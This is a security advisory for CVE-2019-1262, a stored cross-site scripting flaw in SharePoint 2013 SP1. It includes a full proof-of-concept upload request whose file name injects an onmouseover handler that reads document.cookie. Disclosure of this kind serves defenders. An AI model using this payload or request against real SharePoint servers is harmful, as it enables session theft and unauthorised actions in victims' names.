Microsoft SharePoint 2013 SP1 Stored XSS Vulnerability


Vendor: Microsoft Corporation
Product web page: https://www.microsoft.com
Affected version: 2013 SP1

Summary: SharePoint is a web-based collaborative platform that
integrates with Microsoft Office. Launched in 2001, SharePoint
is primarily sold as a document management and storage system,
but the product is highly configurable and usage varies substantially
among organizations.

Desc: A cross-site-scripting (XSS) vulnerability exists when Microsoft
SharePoint Server does not properly sanitize a specially crafted web
request to an affected SharePoint server. An authenticated attacker
could exploit the vulnerability by sending a specially crafted request
to an affected SharePoint server. The attacker who successfully exploited
the vulnerability could then perform cross-site scripting attacks on
affected systems and run script in the security context of the current
user. The attacks could allow the attacker to read content that the
attacker is not authorized to read, use the victim's identity to take
actions on the SharePoint site on behalf of the user, such as change
permissions and delete content, and inject malicious content in the
browser of the user.

Sharepoint 2013 SP1 allows users to upload files to the platform, but
does not correctly sanitize the filename when the files are listed. An
authenticated user that has the rights to upload files to the SharePoint
platform, is able to exploit a Stored Cross-Site Scripting vulnerability
in the filename. The filename is reflected in the attribute 'aria-label'
of the following HTML tag.

Tested on: Microsoft Windows Server 2016
           Microsoft Sharepoint 2013 SP1


Vulnerability discovered by Davide Cioccia
                            @zeroscience


Advisory ID: ZSL-2019-5533
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5533.php

MSRC: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1262
CVE ID: CVE-2019-1262
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1262

--


PoC request:


POST /FOLDER/_layouts/15/Upload.aspx?List={689D112C-BDAA-4B05-B0CB-0DFB36CF0649}&RootFolder=&IsDlg=1 HTTP/1.1
Host: vulnerable_sharepoint_2013
Connection: close
Content-Length: 31337
Cache-Control: max-age=0
Authorization: Negotiate YIIV9gYGKwYBBQUCo........................JBAq39IdJh3yphI1uHbz/jbQ==
Origin: https://vulnerable_sharepoint_2013.tld
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryewNI1MC6qaHDB50n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Sec-Fetch-Mode: nested-navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,it-IT;q=0.8,it;q=0.7,nl;q=0.6
Cookie: ...

------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOWebPartPage_PostbackSource"


------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOTlPn_SelectedWpId"


------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOTlPn_View"

0
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOTlPn_ShowSettings"

False
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOGallery_SelectedLibrary"


------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOGallery_FilterString"


------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOTlPn_Button"

none
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="__EVENTTARGET"

ctl00$PlaceHolderMain$ctl00$RptControls$btnOK
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="__EVENTARGUMENT"


------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOSPWebPartManager_DisplayModeName"

Browse
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOSPWebPartManager_ExitingDesignMode"

false
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOWebPartPage_Shared"


------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOLayout_LayoutChanges"


------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOLayout_InDesignMode"


------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOSPWebPartManager_OldDisplayModeName"

Browse
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOSPWebPartManager_StartWebPartEditingName"

false
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="MSOSPWebPartManager_EndWebPartEditing"

false
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="_maintainWorkspaceScrollPosition"

0
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="__REQUESTDIGEST"

[DIGEST]

------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="__VIEWSTATE"

[VIEWSTATE]

------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"

E6912F23
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="__SCROLLPOSITIONX"

0
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="__SCROLLPOSITIONY"

0
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="__EVENTVALIDATION"



------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="destination"

[DESTINATION_FOLDER]
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="ctl00$PlaceHolderMain$ctl01$ctl04$InputFile"; filename="' onmouseover=alert(document.cookie) '.jpg"
Content-Type: image/jpeg


ZSL
------WebKitFormBoundaryewNI1MC6qaHDB50n
Content-Disposition: form-data; name="ctl00$PlaceHolderMain$ctl01$ctl04$OverwriteSingle"

on
------WebKitFormBoundaryewNI1MC6qaHDB50n--